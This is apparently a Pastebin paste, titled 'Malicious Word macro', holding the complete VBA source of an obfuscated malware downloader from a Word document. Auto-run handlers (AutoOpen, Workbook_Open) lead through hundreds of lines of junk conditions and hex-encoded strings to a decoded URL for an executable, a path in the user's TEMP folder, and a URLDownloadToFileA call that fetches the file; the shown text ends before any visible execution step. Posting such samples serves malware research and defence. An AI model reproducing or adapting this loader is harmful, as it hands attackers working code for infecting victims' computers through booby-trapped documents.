SHARE
TWEET

Malicious Word macro

dynamoo Jan 8th, 2015 31 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. #If Win64 Then
  10.     Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal KJOldfg As Long, _
  11. ByVal oHJdfg As String, ByVal oBJHfdgg As String, ByVal yVJfdgdfg As Long, _
  12. ByVal RPBFSI As Long) As Long
  13. #Else
  14.     Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal KJOldfg As Long, _
  15. ByVal oHJdfg As String, ByVal oBJHfdgg As String, ByVal yVJfdgdfg As Long, _
  16. ByVal RPBFSI As Long) As Long
  17. #End If
  18.  
  19.  
  20.  
  21. Sub oBJhdfgdfg()
  22. If 866251 = 866251 + 1 Then End
  23. If 6245 < 27 Then
  24. If 241326 = 241326 + 1 Then End
  25. If 2955 < 23 Then
  26. If 158278 = 158278 + 1 Then End
  27. If 4282 < 17 Then
  28.         MsgBox (BJBKfdg("636270424F68766D3937"))
  29. End If
  30. If Len(BJBKfdg("465051755142464535393332")) = Len(BJBKfdg("7A4C797268514863")) Then
  31.        MsgBox (BJBKfdg("4572726F7220212121"))
  32. End If
  33.         MsgBox (BJBKfdg("5771687671714A453638"))
  34.  
  35. End If
  36. If Len(BJBKfdg("5A6E6C636C45445833383935")) = Len(BJBKfdg("784C4B7A66496170")) Then
  37. If 241426 = 241426 + 1 Then End
  38. If 8253 < 85 Then
  39.         MsgBox (BJBKfdg("57716754454B53683638"))
  40. End If
  41. If Len(BJBKfdg("7050786461524C4E39393133")) = Len(BJBKfdg("7272584B4D4F7566")) Then
  42.        MsgBox (BJBKfdg("4572726F7220212121"))
  43. End If
  44.        MsgBox (BJBKfdg("4572726F7220212121"))
  45.  
  46. End If
  47. If 619835 = 619835 + 1 Then End
  48. If 9898 < 64 Then
  49.         MsgBox (BJBKfdg("4E696755434664773534"))
  50. End If
  51. If Len(BJBKfdg("6A6B484742635A5231363438")) = Len(BJBKfdg("4B586C7A75587A71")) Then
  52.        MsgBox (BJBKfdg("4572726F7220212121"))
  53. End If
  54.         MsgBox (BJBKfdg("73504D4E6C7244533739"))
  55.  
  56.  
  57. End If
  58. If Len(BJBKfdg("58506A62746C4A5A39343138")) = Len(BJBKfdg("63664D53664B6A6F")) Then
  59. If 574821 = 574821 + 1 Then End
  60. If 8449 < 59 Then
  61. If 418567 = 418567 + 1 Then End
  62. If 7141 < 65 Then
  63.         MsgBox (BJBKfdg("6D6B70616178744A3835"))
  64. End If
  65. If Len(BJBKfdg("4473724F5972456338393831")) = Len(BJBKfdg("584E535265576678")) Then
  66.        MsgBox (BJBKfdg("4572726F7220212121"))
  67. End If
  68.         MsgBox (BJBKfdg("5751535364734E583439"))
  69.  
  70. End If
  71. If Len(BJBKfdg("7358664C6657687439323839")) = Len(BJBKfdg("44624A75776C4751")) Then
  72. If 268514 = 268514 + 1 Then End
  73. If 6375 < 28 Then
  74.         MsgBox (BJBKfdg("5259796B6A66574E3333"))
  75. End If
  76. If Len(BJBKfdg("574A55766B43716F39353438")) = Len(BJBKfdg("786D70536E775047")) Then
  77.        MsgBox (BJBKfdg("4572726F7220212121"))
  78. End If
  79.        MsgBox (BJBKfdg("4572726F7220212121"))
  80.  
  81. End If
  82. If 254242 = 254242 + 1 Then End
  83. If 4597 < 48 Then
  84.         MsgBox (BJBKfdg("69444453455341493834"))
  85. End If
  86. If Len(BJBKfdg("47654A515374786135343437")) = Len(BJBKfdg("4F78686A54715067")) Then
  87.        MsgBox (BJBKfdg("4572726F7220212121"))
  88. End If
  89.        MsgBox (BJBKfdg("4572726F7220212121"))
  90.  
  91.  
  92. End If
  93. If 712996 = 712996 + 1 Then End
  94. If 7652 < 14 Then
  95. If 524115 = 524115 + 1 Then End
  96. If 8832 < 44 Then
  97.         MsgBox (BJBKfdg("4A69504366796C4F3334"))
  98. End If
  99. If Len(BJBKfdg("696C737468474F4B39363832")) = Len(BJBKfdg("4F58476B63666976")) Then
  100.        MsgBox (BJBKfdg("4572726F7220212121"))
  101. End If
  102.         MsgBox (BJBKfdg("764B6D75764F59523234"))
  103.  
  104. End If
  105. If Len(BJBKfdg("74696379557A414332383235")) = Len(BJBKfdg("4E4143516E694771")) Then
  106. If 549271 = 549271 + 1 Then End
  107. If 2249 < 25 Then
  108.         MsgBox (BJBKfdg("6473796A4B444A4F3938"))
  109. End If
  110. If Len(BJBKfdg("6E5366566876566C33313831")) = Len(BJBKfdg("7779535A6F527355")) Then
  111.        MsgBox (BJBKfdg("4572726F7220212121"))
  112. End If
  113.        MsgBox (BJBKfdg("4572726F7220212121"))
  114.  
  115. End If
  116. If 293583 = 293583 + 1 Then End
  117. If 5626 < 22 Then
  118.         MsgBox (BJBKfdg("415652776E7642593336"))
  119. End If
  120. If Len(BJBKfdg("4B6F795A416F684636353736")) = Len(BJBKfdg("6C534F4850594677")) Then
  121.        MsgBox (BJBKfdg("4572726F7220212121"))
  122. End If
  123. iHJKHioufdg
  124.  
  125.  
  126.  
  127. End Sub
  128. Sub AutoOpen()
  129. If 299756 = 299756 + 1 Then End
  130. If 3639 < 53 Then
  131. If 983362 = 983362 + 1 Then End
  132. If 9749 < 63 Then
  133. If 991625 = 991625 + 1 Then End
  134. If 6754 < 85 Then
  135.         MsgBox (BJBKfdg("586F7874637363453637"))
  136. End If
  137. If Len(BJBKfdg("5866776D6B73695A39393237")) = Len(BJBKfdg("747A656A47654C41")) Then
  138.        MsgBox (BJBKfdg("4572726F7220212121"))
  139. End If
  140.         MsgBox (BJBKfdg("6C4B556950486C633134"))
  141.  
  142. End If
  143. If Len(BJBKfdg("6B6464434E4B4D4231353839")) = Len(BJBKfdg("4C4A48716F6A6C54")) Then
  144. If 775932 = 775932 + 1 Then End
  145. If 4334 < 18 Then
  146.         MsgBox (BJBKfdg("7247464A77674E713539"))
  147. End If
  148. If Len(BJBKfdg("4447716A6954746138353937")) = Len(BJBKfdg("676C465268724555")) Then
  149.        MsgBox (BJBKfdg("4572726F7220212121"))
  150. End If
  151.        MsgBox (BJBKfdg("4572726F7220212121"))
  152.  
  153. End If
  154. If 855787 = 855787 + 1 Then End
  155. If 5396 < 56 Then
  156.         MsgBox (BJBKfdg("456853426B4A48423339"))
  157. End If
  158. If Len(BJBKfdg("4A484D544845564F36313536")) = Len(BJBKfdg("53706C714F497343")) Then
  159.        MsgBox (BJBKfdg("4572726F7220212121"))
  160. End If
  161.         MsgBox (BJBKfdg("56486943486C766C3734"))
  162.  
  163.  
  164. End If
  165. If Len(BJBKfdg("5479715842516C5036383933")) = Len(BJBKfdg("6276506E4B4A5556")) Then
  166. If 692985 = 692985 + 1 Then End
  167. If 8975 < 83 Then
  168. If 463719 = 463719 + 1 Then End
  169. If 7327 < 48 Then
  170.         MsgBox (BJBKfdg("46595252415364503532"))
  171. End If
  172. If Len(BJBKfdg("744879535A77454B32353831")) = Len(BJBKfdg("596D494E514D7A76")) Then
  173.        MsgBox (BJBKfdg("4572726F7220212121"))
  174. End If
  175.         MsgBox (BJBKfdg("526945634E556F593133"))
  176.  
  177. End If
  178. If Len(BJBKfdg("736359786F4E744239373235")) = Len(BJBKfdg("7948797A7A746C73")) Then
  179. If 431568 = 431568 + 1 Then End
  180. If 1154 < 14 Then
  181.         MsgBox (BJBKfdg("6C76767A6C706C6E3836"))
  182. End If
  183. If Len(BJBKfdg("6C45636B6670656234333237")) = Len(BJBKfdg("6743584375676844")) Then
  184.        MsgBox (BJBKfdg("4572726F7220212121"))
  185. End If
  186.        MsgBox (BJBKfdg("4572726F7220212121"))
  187.  
  188. End If
  189. If 259124 = 259124 + 1 Then End
  190. If 6381 < 28 Then
  191.         MsgBox (BJBKfdg("5445664C444E515A3332"))
  192. End If
  193. If Len(BJBKfdg("5846474E464F615139353534")) = Len(BJBKfdg("636B6C6658696E6B")) Then
  194.        MsgBox (BJBKfdg("4572726F7220212121"))
  195. End If
  196.        MsgBox (BJBKfdg("4572726F7220212121"))
  197.  
  198.  
  199. End If
  200. If 587746 = 587746 + 1 Then End
  201. If 5774 < 13 Then
  202. If 813783 = 813783 + 1 Then End
  203. If 3563 < 53 Then
  204.         MsgBox (BJBKfdg("555762585172656A3435"))
  205. End If
  206. If Len(BJBKfdg("556162645272446837373336")) = Len(BJBKfdg("4847756F7A576367")) Then
  207.        MsgBox (BJBKfdg("4572726F7220212121"))
  208. End If
  209.         MsgBox (BJBKfdg("4D4C7A5A496C6B453635"))
  210.  
  211. End If
  212. If Len(BJBKfdg("4A67496B56774C7436363334")) = Len(BJBKfdg("6C4B7154754D6C51")) Then
  213. If 639237 = 639237 + 1 Then End
  214. If 3876 < 94 Then
  215.         MsgBox (BJBKfdg("426C73654E4751773435"))
  216. End If
  217. If Len(BJBKfdg("496C495A5379477137313439")) = Len(BJBKfdg("705873474D52664A")) Then
  218.        MsgBox (BJBKfdg("4572726F7220212121"))
  219. End If
  220.        MsgBox (BJBKfdg("4572726F7220212121"))
  221.  
  222. End If
  223. If 985124 = 985124 + 1 Then End
  224. If 6699 < 69 Then
  225.         MsgBox (BJBKfdg("4F554F6671696F4E3433"))
  226. End If
  227. If Len(BJBKfdg("43694A4D494D6A5137353439")) = Len(BJBKfdg("4B41686241424542")) Then
  228.        MsgBox (BJBKfdg("4572726F7220212121"))
  229. End If
  230.     oBJhdfgdfg
  231.  
  232.  
  233.  
  234. End Sub
  235. Sub Workbook_Open()
  236. If 381193 = 381193 + 1 Then End
  237. If 7611 < 32 Then
  238. If 712872 = 712872 + 1 Then End
  239. If 4876 < 42 Then
  240. If 476235 = 476235 + 1 Then End
  241. If 4678 < 92 Then
  242.         MsgBox (BJBKfdg("53445642516972723534"))
  243. End If
  244. If Len(BJBKfdg("506F52467A70545435353238")) = Len(BJBKfdg("7353697A70497473")) Then
  245.        MsgBox (BJBKfdg("4572726F7220212121"))
  246. End If
  247.         MsgBox (BJBKfdg("764A78424E4B4A483234"))
  248.  
  249. End If
  250. If Len(BJBKfdg("536B52596345426E35363237")) = Len(BJBKfdg("555165716B4F7346")) Then
  251. If 862387 = 862387 + 1 Then End
  252. If 8255 < 85 Then
  253.         MsgBox (BJBKfdg("5A6D6B764B774A513339"))
  254. End If
  255. If Len(BJBKfdg("705077786146537239393135")) = Len(BJBKfdg("74724D7A4D4D4E6B")) Then
  256.        MsgBox (BJBKfdg("4572726F7220212121"))
  257. End If
  258.        MsgBox (BJBKfdg("4572726F7220212121"))
  259.  
  260. End If
  261. If 865851 = 865851 + 1 Then End
  262. If 6242 < 27 Then
  263.         MsgBox (BJBKfdg("644F474F6544676A3738"))
  264. End If
  265. If Len(BJBKfdg("434F646F48726C7939343935")) = Len(BJBKfdg("76644777565A4B44")) Then
  266.        MsgBox (BJBKfdg("4572726F7220212121"))
  267. End If
  268.         MsgBox (BJBKfdg("5058774D66556F423435"))
  269.  
  270.  
  271. End If
  272. If Len(BJBKfdg("6179437A676A626938343531")) = Len(BJBKfdg("5A50626763475646")) Then
  273. If 178261 = 178261 + 1 Then End
  274. If 1698 < 47 Then
  275. If 951731 = 951731 + 1 Then End
  276. If 6355 < 66 Then
  277.         MsgBox (BJBKfdg("5368645771636D4D3539"))
  278. End If
  279. If Len(BJBKfdg("4E486D4149705A5237313936")) = Len(BJBKfdg("576F4C754167484B")) Then
  280.        MsgBox (BJBKfdg("4572726F7220212121"))
  281. End If
  282.         MsgBox (BJBKfdg("6D537042534370643233"))
  283.  
  284. End If
  285. If Len(BJBKfdg("745159767666666532343438")) = Len(BJBKfdg("596870535553444F")) Then
  286. If 885953 = 885953 + 1 Then End
  287. If 8756 < 43 Then
  288.         MsgBox (BJBKfdg("7157464A636557573935"))
  289. End If
  290. If Len(BJBKfdg("6F6A6C594679787839363937")) = Len(BJBKfdg("504D434D43525865")) Then
  291.        MsgBox (BJBKfdg("4572726F7220212121"))
  292. End If
  293.        MsgBox (BJBKfdg("4572726F7220212121"))
  294.  
  295. End If
  296. If 511977 = 511977 + 1 Then End
  297. If 2858 < 23 Then
  298.         MsgBox (BJBKfdg("766A76764C6D44713935"))
  299. End If
  300. If Len(BJBKfdg("62776346446D637035323232")) = Len(BJBKfdg("6C47586C596E5163")) Then
  301.        MsgBox (BJBKfdg("4572726F7220212121"))
  302. End If
  303.        MsgBox (BJBKfdg("4572726F7220212121"))
  304.  
  305.  
  306. End If
  307. If 723698 = 723698 + 1 Then End
  308. If 4174 < 44 Then
  309. If 973985 = 973985 + 1 Then End
  310. If 9646 < 52 Then
  311.         MsgBox (BJBKfdg("6A46554643514F663134"))
  312. End If
  313. If Len(BJBKfdg("667064456446734733383139")) = Len(BJBKfdg("4844484A77735077")) Then
  314.        MsgBox (BJBKfdg("4572726F7220212121"))
  315. End If
  316.         MsgBox (BJBKfdg("787A6246484357763236"))
  317.  
  318. End If
  319. If Len(BJBKfdg("505A556D6749657035383335")) = Len(BJBKfdg("5458794E69466863")) Then
  320. If 159517 = 159517 + 1 Then End
  321. If 1237 < 15 Then
  322.         MsgBox (BJBKfdg("476C6F50706B70673539"))
  323. End If
  324. If Len(BJBKfdg("784F73496C50745932393837")) = Len(BJBKfdg("6B65506664476C4D")) Then
  325.        MsgBox (BJBKfdg("4572726F7220212121"))
  326. End If
  327.        MsgBox (BJBKfdg("4572726F7220212121"))
  328.  
  329. End If
  330. If 116874 = 116874 + 1 Then End
  331. If 8552 < 41 Then
  332.         MsgBox (BJBKfdg("7865585579444A563833"))
  333. End If
  334. If Len(BJBKfdg("757A6C754B72584632373235")) = Len(BJBKfdg("4959586D615A6D6D")) Then
  335.        MsgBox (BJBKfdg("4572726F7220212121"))
  336. End If
  337.     oBJhdfgdfg
  338.  
  339.  
  340.  
  341. End Sub
  342. Sub iHJKHioufdg()
  343. If 483374 = 483374 + 1 Then End
  344. If 1672 < 19 Then
  345. If 648152 = 648152 + 1 Then End
  346. If 9182 < 56 Then
  347. If 127347 = 127347 + 1 Then End
  348. If 4238 < 45 Then
  349.         MsgBox (BJBKfdg("756D794A4A6458553636"))
  350. End If
  351. If Len(BJBKfdg("465070474E544B4235393738")) = Len(BJBKfdg("4972496D4D517464")) Then
  352.        MsgBox (BJBKfdg("4572726F7220212121"))
  353. End If
  354.         MsgBox (BJBKfdg("566D70434C6E52483739"))
  355.  
  356. End If
  357. If Len(BJBKfdg("675251745770574233333535")) = Len(BJBKfdg("486F676B65556C54")) Then
  358. If 422739 = 422739 + 1 Then End
  359. If 9331 < 44 Then
  360.         MsgBox (BJBKfdg("446F7845724466523537"))
  361. End If
  362. If Len(BJBKfdg("6B4675614F69617631313731")) = Len(BJBKfdg("54436E56664D656C")) Then
  363.        MsgBox (BJBKfdg("4572726F7220212121"))
  364. End If
  365.        MsgBox (BJBKfdg("4572726F7220212121"))
  366.  
  367. End If
  368. If 392732 = 392732 + 1 Then End
  369. If 4559 < 49 Then
  370.         MsgBox (BJBKfdg("65476B43754149493734"))
  371. End If
  372. If Len(BJBKfdg("50747757684D524E35343939")) = Len(BJBKfdg("54764D6E6F4E4A66")) Then
  373.        MsgBox (BJBKfdg("4572726F7220212121"))
  374. End If
  375.         MsgBox (BJBKfdg("78614F4A51434D543832"))
  376.  
  377.  
  378. End If
  379. If Len(BJBKfdg("787549695458525232343332")) = Len(BJBKfdg("6A627544767A4B4B")) Then
  380. If 181544 = 181544 + 1 Then End
  381. If 7654 < 14 Then
  382. If 831156 = 831156 + 1 Then End
  383. If 8217 < 23 Then
  384.         MsgBox (BJBKfdg("73676C4D465944513938"))
  385. End If
  386. If Len(BJBKfdg("5867476C6E434B6E39393637")) = Len(BJBKfdg("634B6C594F776A75")) Then
  387.        MsgBox (BJBKfdg("4572726F7220212121"))
  388. End If
  389.         MsgBox (BJBKfdg("746578614C7754723836"))
  390.  
  391. End If
  392. If Len(BJBKfdg("7969776A4477677232383237")) = Len(BJBKfdg("6658656471644E65")) Then
  393. If 391266 = 391266 + 1 Then End
  394. If 4544 < 63 Then
  395.         MsgBox (BJBKfdg("7247666C6474674B3834"))
  396. End If
  397. If Len(BJBKfdg("51746B6B7763717137383137")) = Len(BJBKfdg("4C4C42644B675870")) Then
  398.        MsgBox (BJBKfdg("4572726F7220212121"))
  399. End If
  400.        MsgBox (BJBKfdg("4572726F7220212121"))
  401.  
  402. End If
  403. If 948868 = 948868 + 1 Then End
  404. If 9386 < 68 Then
  405.         MsgBox (BJBKfdg("6C786F53674C50583131"))
  406. End If
  407. If Len(BJBKfdg("6B4A475A5457736331323436")) = Len(BJBKfdg("4C6D6B47446C5072")) Then
  408.        MsgBox (BJBKfdg("4572726F7220212121"))
  409. End If
  410.        MsgBox (BJBKfdg("4572726F7220212121"))
  411.  
  412.  
  413. End If
  414. If 744947 = 744947 + 1 Then End
  415. If 1149 < 76 Then
  416. If 438879 = 438879 + 1 Then End
  417. If 7344 < 77 Then
  418.         MsgBox (BJBKfdg("6345666D616562583232"))
  419. End If
  420. If Len(BJBKfdg("724C6B6C7077776638323934")) = Len(BJBKfdg("4264484265414F41")) Then
  421.        MsgBox (BJBKfdg("4572726F7220212121"))
  422. End If
  423.         MsgBox (BJBKfdg("756C534756776A683636"))
  424.  
  425. End If
  426. If Len(BJBKfdg("635266584274597632383839")) = Len(BJBKfdg("5153494C454A496C")) Then
  427. If 859458 = 859458 + 1 Then End
  428. If 2294 < 87 Then
  429.         MsgBox (BJBKfdg("70416764676875783637"))
  430. End If
  431. If Len(BJBKfdg("6E51486D6842785233313435")) = Len(BJBKfdg("464D706B4D517662")) Then
  432.        MsgBox (BJBKfdg("4572726F7220212121"))
  433. End If
  434.        MsgBox (BJBKfdg("4572726F7220212121"))
  435.  
  436. End If
  437. If 773279 = 773279 + 1 Then End
  438. If 7364 < 76 Then
  439.         MsgBox (BJBKfdg("63416E6C7A6953523232"))
  440. End If
  441. If Len(BJBKfdg("724A456C716E554338323234")) = Len(BJBKfdg("42707A4372595771")) Then
  442.        MsgBox (BJBKfdg("4572726F7220212121"))
  443. End If
  444.     iGUGIfdg = BJBKfdg("687474703A2F2F65636F766F796167652E6869322E726F2F6A732F62696E2E657865")
  445.  
  446.  
  447.  
  448. If 997564 = 997564 + 1 Then End
  449. If 9872 < 64 Then
  450. If 841319 = 841319 + 1 Then End
  451. If 8955 < 17 Then
  452. If 544828 = 544828 + 1 Then End
  453. If 8138 < 56 Then
  454.         MsgBox (BJBKfdg("4D784F51567471443631"))
  455. End If
  456. If Len(BJBKfdg("7159714B42466E5833333932")) = Len(BJBKfdg("5371447969644E5A")) Then
  457.        MsgBox (BJBKfdg("4572726F7220212121"))
  458. End If
  459.         MsgBox (BJBKfdg("4571676E714D51723338"))
  460.  
  461. End If
  462. If Len(BJBKfdg("716E6C626C64557833323138")) = Len(BJBKfdg("744D4A72646C4D50")) Then
  463. If 132848 = 132848 + 1 Then End
  464. If 8166 < 74 Then
  465.         MsgBox (BJBKfdg("756245684270615A3637"))
  466. End If
  467. If Len(BJBKfdg("75545A594C70514132333339")) = Len(BJBKfdg("7A56617153674247")) Then
  468.        MsgBox (BJBKfdg("4572726F7220212121"))
  469. End If
  470.        MsgBox (BJBKfdg("4572726F7220212121"))
  471.  
  472. End If
  473. If 713368 = 713368 + 1 Then End
  474. If 1733 < 73 Then
  475.         MsgBox (BJBKfdg("79745479696A6F423837"))
  476. End If
  477. If Len(BJBKfdg("786875666F4E766935393936")) = Len(BJBKfdg("564C506E6B765646")) Then
  478.        MsgBox (BJBKfdg("4572726F7220212121"))
  479. End If
  480.         MsgBox (BJBKfdg("6C4E656A4D616A463136"))
  481.  
  482.  
  483. End If
  484. If Len(BJBKfdg("686D497571724B6831373332")) = Len(BJBKfdg("4A42736C6C5A6A58")) Then
  485. If 818144 = 818144 + 1 Then End
  486. If 2782 < 73 Then
  487. If 268928 = 268928 + 1 Then End
  488. If 3331 < 36 Then
  489.         MsgBox (BJBKfdg("566274746C49506F3731"))
  490. End If
  491. If Len(BJBKfdg("52476F724161596E34313732")) = Len(BJBKfdg("626F554F6D754D46")) Then
  492.        MsgBox (BJBKfdg("4572726F7220212121"))
  493. End If
  494.         MsgBox (BJBKfdg("6F726F43656B48573836"))
  495.  
  496. End If
  497. If Len(BJBKfdg("626650747461757233363332")) = Len(BJBKfdg("614B666B64625450")) Then
  498. If 798944 = 798944 + 1 Then End
  499. If 1689 < 72 Then
  500.         MsgBox (BJBKfdg("75427044754F704F3632"))
  501. End If
  502. If Len(BJBKfdg("636F514D696C624B32353339")) = Len(BJBKfdg("424466696A4A4276")) Then
  503.        MsgBox (BJBKfdg("4572726F7220212121"))
  504. End If
  505.        MsgBox (BJBKfdg("4572726F7220212121"))
  506.  
  507. End If
  508. If 172833 = 172833 + 1 Then End
  509. If 1359 < 31 Then
  510.         MsgBox (BJBKfdg("475A6C4E7869726E3532"))
  511. End If
  512. If Len(BJBKfdg("774B635654414E4B35353234")) = Len(BJBKfdg("5259744D656C504A")) Then
  513.        MsgBox (BJBKfdg("4572726F7220212121"))
  514. End If
  515.        MsgBox (BJBKfdg("4572726F7220212121"))
  516.  
  517.  
  518. End If
  519. If 979924 = 979924 + 1 Then End
  520. If 9431 < 21 Then
  521. If 974261 = 974261 + 1 Then End
  522. If 3432 < 99 Then
  523.         MsgBox (BJBKfdg("6B53494E6C74445A3134"))
  524. End If
  525. If Len(BJBKfdg("494370696C46655137363935")) = Len(BJBKfdg("706E537741645A6B")) Then
  526.        MsgBox (BJBKfdg("4572726F7220212121"))
  527. End If
  528.         MsgBox (BJBKfdg("4F5275744E4D594F3432"))
  529.  
  530. End If
  531. If Len(BJBKfdg("6A4D71656F645A6134363934")) = Len(BJBKfdg("76494B425972664E")) Then
  532. If 921537 = 921537 + 1 Then End
  533. If 6954 < 87 Then
  534.         MsgBox (BJBKfdg("4277777A42556A593731"))
  535. End If
  536. If Len(BJBKfdg("426E6D6B4B55615431323237")) = Len(BJBKfdg("4D4C4C435353674C")) Then
  537.        MsgBox (BJBKfdg("4572726F7220212121"))
  538. End If
  539.        MsgBox (BJBKfdg("4572726F7220212121"))
  540.  
  541. End If
  542. If 393427 = 393427 + 1 Then End
  543. If 8147 < 32 Then
  544.         MsgBox (BJBKfdg("55425467677573783436"))
  545. End If
  546. If Len(BJBKfdg("735268534C41426A39383838")) = Len(BJBKfdg("62534F4F63674E73")) Then
  547.        MsgBox (BJBKfdg("4572726F7220212121"))
  548. End If
  549.     oGHUGIdg = Environ(BJBKfdg("54454D50")) & BJBKfdg("5C6F484947554967696664672E657865")
  550.  
  551.  
  552.  
  553. If 522687 = 522687 + 1 Then End
  554. If 8272 < 85 Then
  555. If 745647 = 745647 + 1 Then End
  556. If 7353 < 48 Then
  557. If 933229 = 933229 + 1 Then End
  558. If 6281 < 65 Then
  559.         MsgBox (BJBKfdg("4F695A6D766D6A483437"))
  560. End If
  561. If Len(BJBKfdg("564951615875764137393331")) = Len(BJBKfdg("4B7A705947735147")) Then
  562.        MsgBox (BJBKfdg("4572726F7220212121"))
  563. End If
  564.         MsgBox (BJBKfdg("756C476E716E524A3839"))
  565.  
  566. End If
  567. If Len(BJBKfdg("72466D686E5A796C38313934")) = Len(BJBKfdg("546C56454F615242")) Then
  568. If 449797 = 449797 + 1 Then End
  569. If 4394 < 74 Then
  570.         MsgBox (BJBKfdg("536C6641555270413539"))
  571. End If
  572. If Len(BJBKfdg("4F474D6B5659516535313534")) = Len(BJBKfdg("434367675A6C4456")) Then
  573.        MsgBox (BJBKfdg("4572726F7220212121"))
  574. End If
  575.        MsgBox (BJBKfdg("4572726F7220212121"))
  576.  
  577. End If
  578. If 472963 = 472963 + 1 Then End
  579. If 1568 < 18 Then
  580.         MsgBox (BJBKfdg("6D5745764D7159513831"))
  581. End If
  582. If Len(BJBKfdg("77615A4646716A5132333238")) = Len(BJBKfdg("686C7A6C556A4556")) Then
  583.        MsgBox (BJBKfdg("4572726F7220212121"))
  584. End If
  585.         MsgBox (BJBKfdg("416C5475594B70493936"))
  586.  
  587.  
  588. End If
  589. If Len(BJBKfdg("57666E467376496739393332")) = Len(BJBKfdg("727A69504F6A6C66")) Then
  590. If 229858 = 229858 + 1 Then End
  591. If 5253 < 55 Then
  592. If 671355 = 671355 + 1 Then End
  593. If 3826 < 69 Then
  594.         MsgBox (BJBKfdg("614677794C7A624F3734"))
  595. End If
  596. If Len(BJBKfdg("546D79457678644534373736")) = Len(BJBKfdg("4C5A6E6E65706776")) Then
  597.        MsgBox (BJBKfdg("4572726F7220212121"))
  598. End If
  599.         MsgBox (BJBKfdg("71776B6A576246703931"))
  600.  
  601. End If
  602. If Len(BJBKfdg("4A517767724C505A36313934")) = Len(BJBKfdg("53744D4D43565648")) Then
  603. If 328434 = 328434 + 1 Then End
  604. If 7619 < 94 Then
  605.         MsgBox (BJBKfdg("7A7A7A45746548613736"))
  606. End If
  607. If Len(BJBKfdg("6575614D42656E4E31383733")) = Len(BJBKfdg("71574947774D714E")) Then
  608.        MsgBox (BJBKfdg("4572726F7220212121"))
  609. End If
  610.        MsgBox (BJBKfdg("4572726F7220212121"))
  611.  
  612. End If
  613. If 876342 = 876342 + 1 Then End
  614. If 2554 < 71 Then
  615.         MsgBox (BJBKfdg("6F474D706472476D3639"))
  616. End If
  617. If Len(BJBKfdg("624E776B6644795A33333934")) = Len(BJBKfdg("6145565278735270")) Then
  618.        MsgBox (BJBKfdg("4572726F7220212121"))
  619. End If
  620.        MsgBox (BJBKfdg("4572726F7220212121"))
  621.  
  622.  
  623. End If
  624. If 158393 = 158393 + 1 Then End
  625. If 1489 < 69 Then
  626. If 355651 = 355651 + 1 Then End
  627. If 9315 < 96 Then
  628.         MsgBox (BJBKfdg("6168444879476F673739"))
  629. End If
  630. If Len(BJBKfdg("67485878456E6A4E31313535")) = Len(BJBKfdg("6F6F6D7A63594566")) Then
  631.        MsgBox (BJBKfdg("4572726F7220212121"))
  632. End If
  633.         MsgBox (BJBKfdg("78417569666875643232"))
  634.  
  635. End If
  636. If Len(BJBKfdg("6D585343526C4F4634363533")) = Len(BJBKfdg("58626871444A696D")) Then
  637. If 278571 = 278571 + 1 Then End
  638. If 2682 < 72 Then
  639.         MsgBox (BJBKfdg("4151756A696E755A3333"))
  640. End If
  641. If Len(BJBKfdg("76754479635A497233343432")) = Len(BJBKfdg("4E50686C59616950")) Then
  642.        MsgBox (BJBKfdg("4572726F7220212121"))
  643. End If
  644.        MsgBox (BJBKfdg("4572726F7220212121"))
  645.  
  646. End If
  647. If 143841 = 143841 + 1 Then End
  648. If 7276 < 76 Then
  649.         MsgBox (BJBKfdg("79495568696573763638"))
  650. End If
  651. If Len(BJBKfdg("754459597A65576332353439")) = Len(BJBKfdg("61757473576F6F51")) Then
  652.        MsgBox (BJBKfdg("4572726F7220212121"))
  653. End If
  654.     R = URLDownloadToFileA(0&, iGUGIfdg, oGHUGIdg, 0&, 0&)
  655.  
  656.  
  657.  
  658. If 895443 = 895443 + 1 Then End
  659. If 2645 < 82 Then
  660. If 188111 = 188111 + 1 Then End
  661. If 7649 < 71 Then
  662. If 711645 = 711645 + 1 Then End
  663. If 5689 < 12 Then
  664.         MsgBox (BJBKfdg("75796B76787644723633"))
  665. End If
  666. If Len(BJBKfdg("487946566F474A4D38383533")) = Len(BJBKfdg("6B506B716A666A6E")) Then
  667.        MsgBox (BJBKfdg("4572726F7220212121"))
  668. End If
  669.         MsgBox (BJBKfdg("4A5074686F6167623533"))
  670.  
  671. End If
  672. If Len(BJBKfdg("747164585944787138353839")) = Len(BJBKfdg("4E4551416E4B4F76")) Then
  673. If 667983 = 667983 + 1 Then End
  674. If 6321 < 89 Then
  675.         MsgBox (BJBKfdg("6A76567441504E743131"))
  676. End If
  677. If Len(BJBKfdg("56467A725065587839353834")) = Len(BJBKfdg("4B756E4945697050")) Then
  678.        MsgBox (BJBKfdg("4572726F7220212121"))
  679. End If
  680.        MsgBox (BJBKfdg("4572726F7220212121"))
  681.  
  682. End If
  683. If 726346 = 726346 + 1 Then End
  684. If 7169 < 12 Then
  685.         MsgBox (BJBKfdg("797056694865534A3838"))
  686. End If
  687. If Len(BJBKfdg("48706D595A6C4A5538383239")) = Len(BJBKfdg("6B44564D514B6866")) Then
  688.        MsgBox (BJBKfdg("4572726F7220212121"))
  689. End If
  690.         MsgBox (BJBKfdg("70434868737169743935"))
  691.  
  692.  
  693. End If
  694. If Len(BJBKfdg("6E696B78644D636635383138")) = Len(BJBKfdg("7A515750776C434D")) Then
  695. If 999663 = 999663 + 1 Then End
  696. If 9813 < 39 Then
  697. If 838419 = 838419 + 1 Then End
  698. If 5133 < 54 Then
  699.         MsgBox (BJBKfdg("4841645657446B453337"))
  700. End If
  701. If Len(BJBKfdg("4859736646447A5A38333936")) = Len(BJBKfdg("514E504C494B6748")) Then
  702.        MsgBox (BJBKfdg("4572726F7220212121"))
  703. End If
  704.         MsgBox (BJBKfdg("6C586876535A52773135"))
  705.  
  706. End If
  707. If Len(BJBKfdg("65585356764C497331363534")) = Len(BJBKfdg("52626873596B694B")) Then
  708. If 145892 = 145892 + 1 Then End
  709. If 1355 < 68 Then
  710.         MsgBox (BJBKfdg("77784A505A524D733231"))
  711. End If
  712. If Len(BJBKfdg("6C4A636E4C55774432323135")) = Len(BJBKfdg("577761447A79576C")) Then
  713.        MsgBox (BJBKfdg("4572726F7220212121"))
  714. End If
  715.        MsgBox (BJBKfdg("4572726F7220212121"))
  716.  
  717. End If
  718. If 479373 = 479373 + 1 Then End
